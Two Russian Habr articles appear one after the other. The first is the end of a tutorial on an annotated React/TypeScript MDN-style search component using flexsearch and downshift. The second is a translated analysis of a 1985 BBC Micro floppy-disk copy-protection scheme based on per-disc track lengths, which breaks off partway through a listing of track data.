}, [query, index, store, searchOptions]) } ``` Пример использования данного хука: ``` import { useState, useRef } from 'react' import { Index } from 'flexsearch' import { useFlexSearch } from 'hooks' const data = [ { title: 'Веб-технологии для разработчиков', url: '/ru/docs/Web' }, { title: 'Стандартные встроенные объекты', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects' }, { title: 'Справочник по JavaScript', url: '/ru/docs/Web/JavaScript/Reference' }, { title: 'JavaScript', url: '/ru/docs/Web/JavaScript' }, { title: 'Array', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects/Array' } ] const flex = new Index({ tokenize: 'forward' }) data.forEach(({ title }, i) => { flex.add(i, title) }) const HighlightMatch = ({ title, q }) => { const words = q.trim().toLowerCase().split(/[ ,]+/) const regexWords = words.map((s) => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')) const regex = `\\b(${regexWords.join('|')})` const parts = title.split(new RegExp(regex, 'gi')) return ( <> {parts.map((part, i) => { const key = `${part}:${i}` if (words.includes(part.toLowerCase())) { return {part} } else { return {part} } })} ) } export const FlexSearchHook = () => { const [value, setValue] = useState('') const inputRef = useRef() const results = useFlexSearch(value, flex, data) // console.log(results) const search = (e) => { e.preventDefault() setValue(inputRef.current.value.trim()) } return ( <> Search {results.map((result, i) => ( * ))} ) } ``` Замечательно. С `flexsearch` тоже все более-менее понятно. Примеры использования поисков и хука находятся в директории `basic-search-examples`. В основном файле с кодом поиска происходит еще много интересных вещей. **search.tsx** ``` import React, { useEffect, useMemo, useRef, useState } from 'react' // Хуки для маршрутизации на стороне клиента - // здесь не используются // import { Link, useHistory } from 'react-router-dom' // Хук для формирования выпадающего списка, // соответствующего всем критериям доступности import { useCombobox } from 'downshift' // Полнотекстовый поиск по `title` import FlexSearch from 'flexsearch' // Хук для выполнения HTTP-запросов import useSWR from 'swr' // Тип и класс для "неточного" поиска по `url` import { Doc, FuzzySearch } from './fuzzy-search' // Хук для определения текущей локали - // здесь не используется // import { useLocale } from './hooks' // Утилиты для получения плейсхолдера и // установки фокуса на инпут при нажатии `/`, // а также тип для пропов для поиска import { getPlaceholder, SearchProps, useFocusOnSlash } from './search-utils' const SHOW_INDEXING_AFTER_MS = 500 // Типы // Для объекта данных type Item = { url: string title: string } // Для поискового индекса type SearchIndex = { flex: any fuzzy: FuzzySearch items: null | Item[] } // Для объекта результатов поиска type ResultItem = { title: string url: string positions: Set } // Хук для работы с поисковым индексом function useSearchIndex(): readonly [ null | SearchIndex, null | Error, () => void ] { // Состояние инициализации const [shouldInitialize, setShouldInitialize] = useState(false) // Состояние индекса const [searchIndex, setSearchIndex] = useState(null) // const locale = useLocale() // Default to 'en-US' if you're on the home page without the locale prefix. // По умолчанию локаль имеет значение 'en-US', // если мы находимся на главной странице без префикса локали // const url = `${locale}/search-index.json` // Поиск файла выполняется в директории `public` const url = `/search-index.json` // Если состояние инициализации имеет значение `true`, // вызываем хук `useSWR`: // первый аргумент - `url`, он же ключ для кеша, // второй - так называемый `fetcher`, функция // для запроса-получения данных, // третий - настройки (в данном случае мы отключаем // выполнение повторного запроса при установке фокуса). // Такая сигнатура означает, что хук ожидает инициализации // https://swr.vercel.app/docs/conditional-fetching const { error, data } = useSWR( shouldInitialize ? url : null, async (url: string) => { // Получаем ответ const response = await fetch(url) if (!response.ok) { // Если возникла ошибка, выбрасываем исключение // с сообщением в виде текста throw new Error(await response.text()) } // Возвращаем ответ в формате `JSON` return await response.json() }, // Отключаем повторную валидацию { revalidateOnFocus: false } ) // Количество объектов для русской локали // console.log(data?.length) // 2910 // Выполняем побочный эффект useEffect(() => { // Ничего не делаем при отсутствии данных // или наличии поискового индекса if (!data || searchIndex) { return } // Создаем поисковый индекс // `tokenize` - это режим индексации (в данном случае // используется инкрементальная индексация в прямом направлении, т.е. вперед) // https://github.com/nextapps-de/flexsearch#tokenizer-prefix-search const flex = new FlexSearch.Index({ tokenize: 'forward' }) // Данными является массив объектов с заголовками и адресами статей - // `{ title: 'Заголовок', url: 'https://...' }` // Перебираем объекты и помещаем заголовок и его индекс (в массиве) в поисковый индекс data!.forEach(({ title }, i) => { flex.add(i, title) }) // Создаем экземпляр неточного поиска const fuzzy = new FuzzySearch(data as Doc[]) // Обновляем состояние поискового индекса setSearchIndex({ flex, fuzzy, items: data! }) }, [searchIndex, shouldInitialize, data]) // Хук возвращает мемоизированный массив из 3 элементов: // поискового индекса, ошибки (которая может иметь значение `null`) // и функции для обновления состояния инициализации return useMemo( () => [searchIndex, error || null, () => setShouldInitialize(true)], [searchIndex, error, setShouldInitialize] ) } // The fuzzy search is engaged if the search term starts with a '/' // and does not have any spaces in it. // Неточный поиск используется в случае, когда строка для поиска // начинается с `/` и не содержит пробелов. // Данная утилита определяет, должен ли использоваться такой поиск function isFuzzySearchString(str: string) { return str.startsWith('/') && !/\s/.test(str) } // Утилита для подсветки совпадения // при выполнении полнотекстового поиска // `title` - это подходящий (совпавший) заголовок // `q` - совпадение function HighlightMatch({ title, q }: { title: string; q: string }) { // FlexSearch doesn't support finding out which "typo corrections" // were done unfortunately. // See https://github.com/nextapps-de/flexsearch/issues/99 // `FlexSearch`, к сожалению, не умеет исправлять опечатки // Split on higlight term and include term into parts, ignore case. // Разделяем совпадение на части без учета регистра const words = q.trim().toLowerCase().split(/[ ,]+/) // $& means the whole matched string // `$&` означает совпавшую строку целиком const regexWords = words.map((s) => s.replace(/[.\*+?^${}()|[\]\\]/g, '\\$&')) const regex = `\\b(${regexWords.join('|')})` // Разделяем заголовок на части по совпадению const parts = title.split(new RegExp(regex, 'gi')) return ( **{/\* Перебираем части \*/} {parts.map((part, i) => { const key = `${part}:${i}` // Если часть является совпадением if (words.includes(part.toLowerCase())) { // Подсвечиваем ее return {part} } else { return {part} } })}** ) // Если ввести в поиске `query`, то данная утилита вернет такую разметку /\* **Document. // совпадение query Selector()** \*/ } // Утилита для генерации "хлебных крошек" для адреса статьи // и подсветки совпадения function BreadcrumbURI({ uri, positions }: { uri: string positions?: Set }) { // Если имеется совпадение // `positions` - набор индексов совпавших символов if (positions && positions.size) { // Разбиваем строку на массив символов const chars = uri.split('') return ( {chars.map((char, i) => { // Если символ имеется в совпадении if (positions.has(i)) { return {char} } else { return {char} } })} ) } // Форматирование `url` // В оригинальном файле `search-index.json` // адреса статей начинаются с `/`, который удаляется. // Также удаляется `docs` const keep = uri .split('/') // .slice(1) .slice(3) .filter((p) => p !== 'docs') // При объединении элементы массива разделяются ' / ' return {keep.join(' / ')} // Было, например: `https://developer.mozilla.org/ru/docs/Web`, // стало: `ru / Web` } // Тип для поискового виджета type InnerSearchNavigateWidgetProps = SearchProps & { onResultPicked?: () => void defaultSelection: [number, number] } // Хук для определения изменения значения инпута function useHasNotChangedFor(value: string, ms: number) { // Состояние для изменений const [hasNotChanged, setHasNotChanged] = useState(false) // Предыдущее значение const previousValue = useRef(value) // Побочный эффект для определения наличия изменений useEffect(() => { // Если предыдущее значение равняется текущему, // ничего не делаем if (previousValue.current === value) { return } // Обновляем предыдущее значение текущим previousValue.current = value setHasNotChanged(false) // while timeouts are not accurate for counting time there error is only // upwards, meaning they might trigger after more time than specified, // which is fine in this case // Здесь речь идет о том, что таймеры не являются // хорошим средством для точного измерения времени, // поскольку могут срабатывать по истечении времени, // больше указанного, но в данном случае такой подход является приемлемым const timeout = setTimeout(() => { // Если значение инпута в течение указанного времени не изменилось, // значит, изменений не было :) setHasNotChanged(true) }, ms) // Очистка побочного эффекта во избежание утечек памяти return () => { clearTimeout(timeout) } // Хук запускается повторно при изменении значения инпута или задержки }, [value, ms]) // Возвращаем состояние return hasNotChanged } // Виджет для поиска function InnerSearchNavigateWidget(props: InnerSearchNavigateWidgetProps) { // Пропы: // значение инпута // функция для обработки изменения этого значения // индикатор того, находится ли инпут в фокусе // функция для обработки изменения состояния фокуса // функция для сохранения результатов поиска // выделение по умолчанию const { inputValue, onChangeInputValue, isFocused, onChangeIsFocused, onResultPicked, defaultSelection } = props // Объект истории браузера и текущая локаль - // здесь не используются // const history = useHistory() // const locale = useLocale() // Получаем поисковый индекс, ошибку и функцию для запуска инициализации поискового индекса const [searchIndex, searchIndexError, initializeSearchIndex] = useSearchIndex() // Ссылка на ипнут const inputRef = useRef(null) // Ссылка на форму const formRef = useRef(null) // Переменная для выделения const isSelectionInitialized = useRef(false) // Отображение результатов зависит от состояния изменений const showIndexing = useHasNotChangedFor(inputValue, SHOW\_INDEXING\_AFTER\_MS) // Побочный эффект для инициализации выделения useEffect(() => { // Если отсутствует инпут или выделение не инициализировано, ничего не делаем if (!inputRef.current || isSelectionInitialized.current) { return } // Если инпут находится в фокусе if (isFocused) { // Выделение по умолчанию имеет значение `[0, 0]` inputRef.current.selectionStart = defaultSelection[0] inputRef.current.selectionEnd = defaultSelection[1] } // Инициализируем выделение isSelectionInitialized.current = true }, [isFocused, defaultSelection]) // Мемоизированные результаты поиска const resultItems: ResultItem[] = useMemo(() => { // Если отсутствует поисковый индекс или инпут, или при инициализации индекса возникла ошибка, // ничего не делаем if (!searchIndex || !inputValue || searchIndexError) { // This can happen if the initialized hasn't completed yet or // completed un-successfully. // Это может произойти, если инициализация еще не завершилась // или завершилась неудачно return [] } // The iPhone X series is 812px high. // If the window isn't very high, show fewer matches so that the // overlaying search results don't trigger a scroll. // Данное ограничение позволяет избежать появления // полосы прокрутки на экранах с маленькой высотой const limit = window.innerHeight < 850 ? 5 : 10 // Если строка начинается с `/` и не содержит пробелов, // выполняется неточный поиск if (isFuzzySearchString(inputValue)) { // Если значением инпута является `/` if (inputValue === '/') { // Возвращаем пустой массив return [] } else { // Выполняем поиск, // удаляя начальный `/` const fuzzyResults = searchIndex.fuzzy.search(inputValue.slice(1), { // Возвращается 5 или 10 лучших результатов limit }) // Возвращаем массив объектов return fuzzyResults.map((fuzzyResult) => ({ // Адрес статьи url: fuzzyResult.item.url, // Заголовок статьи title: fuzzyResult.item.title, // Набор индексов совпавших символов positions: fuzzyResult.positions })) } } else { // Full-Text search // Выполняем полнотекстовый поиск const indexResults: number[] = searchIndex.flex.search(inputValue, { // Ограничение limit, // Предположения suggest: true // This can give terrible result suggestions // Это может приводить к ужасным результатам :) }) // Возвращаем массив оригинальных объектов return indexResults.map( (index: number) => (searchIndex.items || [])[index] as ResultItem ) } // Результаты вычисляются повторно при изменении // значения инпута, поискового индекса или возникновении ошибки }, [inputValue, searchIndex, searchIndexError]) // Базовый адрес для выполнения HTTP-запроса // const formAction = `/${locale}/search` const formAction = `https://developer.mozilla.org/ru-RU/search` // Формируем полный путь для поиска const searchPath = useMemo(() => { // Новая строка запроса const sp = new URLSearchParams() // Получается `?q=inputValue` sp.set('q', inputValue.trim()) // Возвращаем полный путь // Если ввести в инпуте `qwerty`, // вернется `https://developer.mozilla.org/ru/search?q=qwerty` return `${formAction}?${sp.toString()}` }, [formAction, inputValue]) // Пустой результат - когда ничего не найдено const nothingFoundItem = useMemo( () => ({ url: searchPath, title: '', positions: new Set() }), [searchPath] ) // Формируем выпадающий список, отвечающий всем критериям доступности const { getInputProps, getItemProps, getMenuProps, getComboboxProps, // Индекс элемента, на которого наведен курсор или который находится в фокусе highlightedIndex, // Индикатор того, находится ли меню в открытом состоянии isOpen, reset, toggleMenu } = useCombobox({ // Результаты поиска или пустой результат в виде массива из одного элемента items: resultItems.length === 0 ? [nothingFoundItem] : resultItems, // Значение инпута inputValue, // Список по умолчанию будет находится в открытом состоянии // только при фокусировке на инпуте defaultIsOpen: isFocused, // При клике по выделенному (highlightedIndex) результату onSelectedItemChange: ({ selectedItem }) => { if (selectedItem) { // history.push(selectedItem.url) // Открывается новое окно с соответствующей статьей на MDN window.open(selectedItem.url, '\_blank') // Значение инпута обнуляется onChangeInputValue('') // Выполняется сброс меню reset() // Меню скрывается toggleMenu() // Расфокусировка inputRef.current?.blur() // Если передана функция для сохранения результатов, // вызываем ее if (onResultPicked) { onResultPicked() } // Плавная прокрутка в верхнюю часть области просмотра window.scroll({ top: 0, left: 0, behavior: 'smooth' }) } } }) // При нажатии `/` на инпут устанавливается фокус useFocusOnSlash(inputRef) // Побочный эффект для инициализации поискового индекса useEffect(() => { // Если инпут находится в фокусе if (isFocused) { // Выполняем инициализацию initializeSearchIndex() } }, [initializeSearchIndex, isFocused]) // Результаты поиска - рендеринг // значением переменной является `IIFE` - автоматически вызываемое функциональное выражение const searchResults = (() => { // Если меню закрыто, т.е. инпут не находится в фокусе, // или значение инпута является пустая строка (без учета пробелов), // ничего не делаем if (!isOpen || !inputValue.trim()) { return null } // Если при инициализации поискового индекса возникла ошибка if (searchIndexError) { return ( // Error initializing search index При инициализации поискового индекса возникла ошибка ) } // Если инициализация индекса еще не завершилась if (!searchIndex) { // и не было изменений значения инпута на протяжении 500 мс return showIndexing ? ( {/\* *Initializing index* \*/} *Инициализация индекса* ) : null } return ( <> {/\* Если отсутствуют результаты поиска и значением инпута не является `/` \*/} {resultItems.length === 0 && inputValue !== '/' ? ( {/\* No document titles found. \*/} Подходящих статей не найдено. {/\* Site search for `{inputValue}` \*/} {/\* Используется полный адрес статьи, сформированный ранее \*/} [Искать на сайте MDN `{inputValue}`]({searchPath}) ) : ( // Перебираем результаты поиска resultItems.map((item, i) => ( {/\* Выполняем подсветку совпадения \*/} {/\* Формируем хлебные крошки для адреса статьи \*/} )) )} {/\* Если выполняется неточный поиск \*/} {isFuzzySearchString(inputValue) && ( // Fuzzy searching by URI Выполняется поиск по URI )} ) })() // Рендеринг return ( { // This comes into effect if the input is completely empty and the // user hits Enter, which triggers the native form submission. // When something \*is\* entered, the onKeyDown event is triggered // on the and within that handler you can // access `event.key === 'Enter'` as a signal to submit the form. // Здесь речь идет о том, что если инпут является пустым и // пользователь нажимает `Enter`, выполняется нативная отправка формы. // Если же инпут не является пустым, отправку формы можно перехватить // с помощью`event.key === 'Enter'` в обработчике // события нажатия клавиши `onKeyDown`. // Отключаем дефолтную обработку отправки формы e.preventDefault() // Это сломало кнопку для отправки формы в виде лупы (см. ниже) } })} > {/\* Search MDN \*/} Поиск MDN { onChangeIsFocused(true) }, // и здесь onBlur: () => onChangeIsFocused(false), // Обработчик нажатия клавиш onKeyDown(event) { // Если нажата клавиша `Escape` и имеется инпут if (event.key === 'Escape' && inputRef.current) { // Меню скрывается, инпут очищается toggleMenu() } else if ( // Если нажата клавиша `Enter`, инпут не является пустым и отсутствует выделенный результат поиска event.key === 'Enter' && inputValue.trim() && highlightedIndex === -1 ) { // Убираем фокус с инпута inputRef.current!.blur() // Отправляем форму // formRef.current!.submit() // Переходим на страницу поиска MDN window.open(searchPath, '\_blank') } }, // обработчик изменения значения инпута onChange(event) { if (event.target instanceof HTMLInputElement) { onChangeInputValue(event.target.value) } }, // Ссылка на инпут ref: (input) => { inputRef.current = input } })} /> {/\* Кнопка для отправки формы, которая не работала \*/} {/\* создал пулреквест :) \*/} { if (inputValue.trim() && inputValue !== '/') { // history.push(searchPath) window.open(searchPath, '\_blank') } }} /> {/\* Выпадающий список с результатами \*/} {searchResults && {searchResults}} ) } // Предохранитель - обработчик ошибок class SearchErrorBoundary extends React.Component { // Состояние ошибки state = { hasError: false } // Регистрация ошибки static getDerivedStateFromError(error: Error) { // console.error('There was an error while trying to render search', error) console.error('В процессе рендеринга поиска возникла ошибка', error) // Обновляем состояние ошибки return { hasError: true } } render() { return this.state.hasError ? ( // Error while rendering search. Check console for details. В процессе рендеринга поиска возникла ошибка. Загляните в консоль за подробностями. ) : ( this.props.children ) } } // Экспорт виджета для поиска, обернутого в предохранитель export default function SearchNavigateWidget( props: InnerSearchNavigateWidgetProps ) { return ( ) } ``` С тем, как работает хук `useCombobox`, я предоставлю вам возможность разобраться самостоятельно ([вот](https://github.com/downshift-js/downshift/tree/master/src/hooks/useCombobox) более чем подробная документация). Пожалуй, это все, чем я хотел поделиться с вами в этой статье. Теперь в вашем распоряжении имеется готовый к использованию продвинутый компонент для поиска, который легко приспособить для нужд конкретного приложения. Что касается моего личного мнения по поводу "крутости" поиска, безусловно, он очень хорош. Я бы немного упростил код, поскольку нахожу несколько вещей лишними. Также я убрал бы парочку оптимизаций, поскольку они стоят дороже повторного рендеринга, который в любом случае происходит из-за большого количества постоянно меняющихся зависимостей. Также в оригинале, судя по всему, отключена проверка на неявный тип `any` (`"noImplicitAny": false`), что, на мой взгляд, не есть правильно. Надеюсь, вам было также интересно, как и мне. Приветствуется любая форма обратной связи. Благодарю за внимание и хорошего дня! --- [![](https://habrastorage.org/r/w1560/webt/wn/cq/lp/wncqlp9abeml4npwzsybuvhzcta.png)](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low)
https://habr.com/ru/post/585910/
null
ru
null
# Самая хитрая защита флоппи-дисков ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/76a/2ea/bea/76a2eabea2a6317577fed1c15c46c11d.png) Введение -------- Недавно я затеял одиссею по изучению защит гибких дисков В своих предыдущих постах я уже рассказывал (напрямую или косвенно) о примерах интересных схем защиты гибких дисков: * Слабые биты. [[ссылка: Weak bits floppy disc protection: an alternate origins story on 8-bit](https://scarybeastsecurity.blogspot.com/2020/06/weak-bits-floppy-disc-protection.html)]. Защита «слабыми битами» реализуется так: часть поверхности диска оставляется пустой изменений потоков намагниченности. В условиях отсутствия сигнала привод гибких дисков повышает коэффициент усиления своего усилителя и видит шум, проявляющий себя как недетерминированные цифровые сигналы с диска. * Нечёткие биты. [[ссылка: Technical Documentation — Dungeon Master and Chaos Strikes Back — Detailed analysis of Atari ST Floppy Disks](http://dmweb.free.fr/?q=node/1429)]. При защите «нечёткими битами» изменения потоков намагниченности записываются с интервалами, отличающимися по времени от спецификации (например, MFM). Благодаря использованию интервалов прямо посередине пары ожидаемых значений (например, 5 мкс вместо ожидаемых 4 мкс или 6 мкс) можно заставить контроллер дисков возвращать недетерминированные цифровые сигналы. * Длинные/короткие дорожки. [[ссылка: Turning a £400 BBC Micro (1981) into a $40,000 disc writer (1987)](https://scarybeastsecurity.blogspot.com/2020/07/turning-400-bbc-micro-1981-into-40000.html)] [см. раздел «Capabilities Unlocked»] [[Перевод](https://habr.com/ru/post/511410/) статьи на Хабре]. При защите длинными дорожками запись переходов намагниченности выполняется чуть быстрее, чем обычно. Это может быть целая дорожка или только её часть. В любом случае, будет казаться, что дорожка содержит больше байтов, чем обычно должно быть в дорожке. Такая защита работает, потому что у контроллера гибких дисков обычно есть широкий допуск на битрейт, чтобы учитывать тот факт, что дисковые приводы естественным образом крутятся на разных скоростях. В этой статье мы рассмотрим совершенно иную защиту, обладающую уникальными особенностями, которая мне кажется довольно изобретательной. Western… что? ------------- Не так легко найти компанию «Western Security, Ltd.», связанную с компьютером BBC Micro. Как же понять, что она существует? Во-первых, при разработке моего эмулятора beebjit [[ссылка](https://github.com/scarybeasts/beebjit)] я сделал множество ошибок и получил кучу багов. Разбираясь с точной эмуляцией гибких дисков, чтобы иметь возможность загрузки оригинальных защищённых образов дисков, я наткнулся на следующее: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/47a/cc1/38f/47acc138f5bf37320238dfffde076077.png) *Игра Jolly Jack Tar компании Sherston Software* Разумеется, автор оригинала не мог учесть такой ситуации. Дело или в неисправном диске (это не так), или в незаконной копии (не совсем правда)… или в эмуляторе с багами. Вот ещё один экран ошибки. Вероятно, это более ранняя версия схемы защиты? В сообщении написано «disk» вместо «disc» и даже не учитывается то, что диск может быть повреждён: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d23/1cb/332/d231cb3327d306932a3180ad2b45b8b3.png) *Игра Phantom Combat компании Doctor Soft* (Я рискую сильно отклониться от темы, но вот ещё один скриншот. Он не связан с Western Security Ltd., но на нём тоже представлен специальный экран, отображаемый при сбое защищённого загрузчика диска. Этот случай интересен тем, что при обычной работе пользователь не увидит такого замечательного изображения!) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/76a/2ea/bea/76a2eabea2a6317577fed1c15c46c11d.png) *Такое сообщение показывает Disc Duplicator 3, если считает, что создаётся незаконная копия* Во-вторых, мы знаем название Western по маркерам дубликаторов дисков. Маркер дубликаторов дисков — это специальная дорожка, написанная одним из коммерческого ПО для дублирования дисков. Обычно это одна дорожка после конца обычного диска, например, 41-я или 81-я дорожка диска. Несмотря на то, что она находится «вне пределов» диска, большинство приводов дисков ищет хотя бы одну дорожку за его границами. На этой дорожке обычно можно найти один заголовок сектора и тело сектора с ошибкой CRC. Это необычная конструкция, которая выявляется, например, когда моя программа discbeast [[ссылка](https://github.com/scarybeasts/misc/tree/master/discbeast)] изучает диск Jolly Jack Tar: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/435/01d/131/43501d13101fa04275c102cc3b9027a6.png) *Просмотр Jolly Jack Tar в Discbeast* В маркере дубликатора есть дата и одна-две текстовые строки. В случае Jolly Jack Tar это: > `86 07 01 (1986, July 1st) > > 523-037E WESTERN NM,10/256 PROT DUP 5"-48/40 1S SD SS > > 32173-2Aw` Существует и ещё одна менее распространённая строка маркер дубликатора, связанная с Western security, например, в Tens and Units компании Sherston Software. Похоже, это более ранняя версия-прототип: > `85 10 31 (1985, October 31st) > > 523-037C BBC NM,10/256 WESTERN SEC. PROTO1 DUP 5"-48/40 1 > > 70422-00w` Вкратце повторим основы защиты дисков ------------------------------------- Прежде чем начать разбираться в работе защиты Western Security, давайте повторим основы защиты дисков. Существуют различные специфические нюансы, но в целом принцип довольно прост: * Диск легко считать, но сложно записать. Диск *должен* относительно легко считываться. Если диск не может считываться стандартными контроллерами дисков, то вы не сможете продать диск, потому что покупатели не смогут его загрузить! А *правильный* способ обеспечения сложности записи дисков заключается в тщательном изучении чипов потребительских контроллеров дисков и приводов дисков, чтобы диск было *невозможно* записать стандартным оборудованием. Защита дисков BBC Micro не пошла по этому пути — первые диски, а также многие последующие диски были экзотичными, но их было не особо сложно создать при помощи стандартного контроллера дисков. Однако требовалась специальная программа. У компаний-производителей ПО, в отличие от пользователей, была их специальная программа мастеринга, поэтому в этом смысле диск было «сложно» записать. Но позже, когда появились стандартные программы копирования наподобие Disc Duplicator 3, диски внезапно оказалось копировать «легко», если у вас или у друга была продвинутая программа для копирования дисков. Однако некоторые первопроходцы BBC Micro действительно записывали диски, которые «нельзя» записать при помощи стандартного контроллера дисков. Наиболее примечательные из них: * Схема со слабыми битами Саймона Хослера, ссылка есть выше. (И здесь: [[ссылка](https://scarybeastsecurity.blogspot.com/2020/06/weak-bits-floppy-disc-protection.html)].) [1] * Многие диски, например, The Sentinel компании Firebird, прятали данные между секторами. [2] [1] Одна из основных задач контроллера дисков — запись точных поверхностей дисков, т.е. *никогда* не записывать слабые биты. Однако в современную эпоху я нашёл способ хитростью заставить контроллер Intel 8271 записывать слабые биты. Насколько я знаю, эта техника не была открыта и не использовалась в те времена. [2] Я думаю, что при умном программировании данные между секторами можно записывать стандартными контроллерами дисков. Для этого потребуется выполнять запись на дорожку несколько раз и сбрасывать контроллер дисков в критические моменты времени. Однако я не встречал старых программ копирования дисков, пытавшихся копировать такие диски. Анализ защищённого загрузчика Western Security Ltd. --------------------------------------------------- ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ab0/732/63c/ab073263c85d4a4ed2a841e8c2452762.jpg) *В этой версии The Wizard's Revenge компании Sherston Software используется защита диска Western Security Ltd.* Вот скриншот из игры. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/0da/3b8/987/0da3b8987ae13b1505d70a7b7d6e7a1e.png) А вот, что делает с диском discbeast: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/3db/e54/971/3dbe549713eb93bd406e92934f8bc90a.png) Здесь нет ничего особо необычного. Красный блок в конце обозначает дорожку с одним сектором, имеющим ошибку CRC. Это не часть защиты диска, а маркер дубликатора. Зелёным цветом обозначена стандартная схема секторов, в которой нет ничего особо экзотичного. Буквой «D» обозначено наличие удалённых секторов. Это защита диска, но она не экзотична и не сложна в копировании. Однако при загрузке диска в мой эмулятор beebjit при помощи контроллера гибких дисков Western Digital WD1770 и `-log disc:commands` мы получаем нечто весьма необычное: > `info:disc:1770: command $E4 tr 1 sr 3 dr 1 cr $29 ptrk 1 hpos 1884` Команда $E4 обозначает «считать дорожку». Она не используется при обычном выполнении загрузки диска, да и в любом другом известном защищённом загрузчике. Настало время немного разобраться в загрузчике, чтобы понять, что происходит. Цель этого поста заключается не в подробном описании всех мельчайших деталей загрузчика. Как и многие защищённые загрузчики, он «зашифрован», а точнее обфусцирован. Деобфускация производится им самостоятельно при помощи множества слоёв самомодификации. На PC $0657 выполняется вызов диска для загрузки части загрузчика из удалённых секторов в дорожке 9. Подобное легко можно спутать с частью защиты, но это не так. Ниже, на PC $3CF7, есть цикл: > `[ITRP] 3CF7: JSR $3D16 > > [ITRP] 3CFA: LDA $75 > > [ITRP] 3CFC: SEC > > [ITRP] 3CFD: SBC $3F4E > > [ITRP] 3D00: TAX > > [ITRP] 3D01: LDA $86 > > [ITRP] 3D03: STA $3F71,X > > [ITRP] 3D06: INC $75 > > [ITRP] 3D08: LDA $3F4F > > [ITRP] 3D0B: CMP $75 > > [ITRP] 3D0D: BCS $3CF7` Я не ожидаю, что его назначение будет понятно из данного фрагмента (без всех подпроцедур), но здесь в цикле обходятся дорожки с 1 по 8 включительно. Каждая дорожка полностью считывается и длина дорожки сохраняется в таблице по адресу $3F71. Ниже, на PC $3CB6, эти длины сравниваются с таблицей, расположенной по адресу $3D9B. Эта проверка особенно интересна. Чтобы защита от копирования считалась выполненной, подсчитывается количество дорожек, длина которых находится в пределах ±1 от ожидаемой, и это количество должно быть равно 7 или 8. **Мы сразу же видим, что эта защита не является точной технологией**. И этого стоило ожидать: диски являются аналоговыми носителями, поэтому в начале и конце дорожки присутствует немного шума. При разных считываниях один и тот же диск на одном приводе и контроллере может демонстрировать незначительные вариации длин дорожек. Посмотрев на загрузку в beebjit, можно увидеть подсчитанные и ожидаемые длины. (0x4A == 3122 байта.) Перехват с моего диска: > `3F71: 4A 4D 4B 4A 4B 4D 4D 4A` Ожидания: > `3D9B: 4A 4C 4B 4A 4B 4D 4C 4A` Как видите, мои считывания с диска почти в точности равны ожидаемым, за исключением дорожки 2, на которой насчитали 3125 байт вместо ожидаемых 3124. Эта разность находится в интервале погрешности ±1, поэтому проверку прошли все 8 дорожек (а требуется 7 или больше). Объясню подробнее: защищённый загрузчик ожидает, что длина дорожек с 1 по 8 (в байтах закодированных частотной модуляцией) должна быть равна 3122, 3124, 3123, 3122, 3123, 3124, 3123, 3122. Это невероятный уровень точности и прецизионности записи для технологий 1985 года. Каждый байт занимает на вращающемся диске примерно 64 мкс, но для приводов дисков той эпохи часто указывали отклонение RPM (оборотов в минуту) «меньше ±1,5%». При 300 об/мин, ±1,5% — это ±3 мс на оборот! По моему опыту, приводы обладают гораздо большей точностью, но тем не менее! Как с этим справлялись технологии 1985 года? Дополнительное примечание о контроллерах дисков WD1770 и Intel 8271. Мы сосредоточились на анализе защиты на контроллере WD1770. Этот диск также нормально загружается на контроллере Intel 8271. В нём используется **совершенно другой путь выполнения кода**, чтобы в данном случае вычислять длину дорожек косвенно. Это удалось сделать, потому что все байты-заполнители, записанные до конца дорожки, равны 0x00, а не обычному значению 0xFF. Используется «чтение с выходом за границы» последнего сектора дорожки, а длина дорожки определяется по смене считываемых значений с 0x00 на 0xFF. Гениальный ход -------------- И потом мы осознаём гениальность этой схемы. Что если они не записывали дорожки с чрезвычайной точностью, потому что таких технологий ещё не существовало? **Что если они просто записывали дорожку любым способом, а затем изучали результат?** Думаю, создатели защиты делали следующее: * Форматировали диск. (И всё — достаточно обычного форматирования диска, и вы получите ужасно сложно защищённый диск.) * Считывали длины дорожек 1-8 диска, которые только что были записаны. * Для каждого диска генерировались, обфусцировались и записывались в загрузчик на дорожке 9 соответствующие таблицы ожидаемых длин дорожек. Вот так хитрость! Такие диски ужасно сложно копировать, даже *имея* специализированное оборудование той эпохи. На самом деле, этот трюк настолько хитёр, что из-за него нам нужно вернуться к самим основам защиты дисков. Вот что мы говорили ранее: * Диск должно быть легко считывать, но сложно записывать. Однако защиту Western Security Ltd. довольно легко записать, достаточно отформатировать диск. Поэтому, вероятно, мы должны сказать: * Диск должно быть легко считывать, но сложно воссоздать. Защиту Western Security легко записать, легко считать, но очень сложно скопировать. Одно из преимуществ такой защиты заключается в том, что для экономии можно записывать её на обычном домашнем компьютере. Тем не менее, многие диски, с которыми я сталкивался, имели маркеры дубликаторов, обычно оставляемые дорогими машинами дублирования дисков. Чем мы можем подтвердить свою теорию? Например, найти второй диск с той же игрой The Wizard's Revenge и посмотреть, отличаются ли они. Я нашёл диск, и да, они отличаются. Мой первый диск, который рассматривался выше: > `Track 0 sectors 10 length 3124 fixups 1 CRC32 2E6B86E9 > > Track 1 sectors 10 length 3122 fixups 0 CRC32 37E30EC8 > > Track 2 sectors 10 length 3125 fixups 1 CRC32 F7BDE89B > > Track 3 sectors 10 length 3123 fixups 0 CRC32 BB1E32C3 > > Track 4 sectors 10 length 3122 fixups 1 CRC32 2EC84AF1 > > Track 5 sectors 10 length 3123 fixups 0 CRC32 58FD732B > > Track 6 sectors 10 length 3125 fixups 0 CRC32 43416F5A > > Track 7 sectors 10 length 3125 fixups 1 CRC32 B3D8AB10 > > Track 8 sectors 10 length 3122 fixups 1 CRC32 8D02AC32 > > Track 9 sectors 10 length 3125 fixups 1 CRC32 75B1F57B > > Track 10 sectors 10 length 3123 fixups 1 CRC32 D2B0A1EF > > [...]` Другой диск: > `Track 0 sectors 10 length 3126 fixups 1 CRC32 2E6B86E9 > > Track 1 sectors 10 length 3129 fixups 1 CRC32 37E30EC8 > > Track 2 sectors 10 length 3127 fixups 1 CRC32 F7BDE89B > > Track 3 sectors 10 length 3127 fixups 1 CRC32 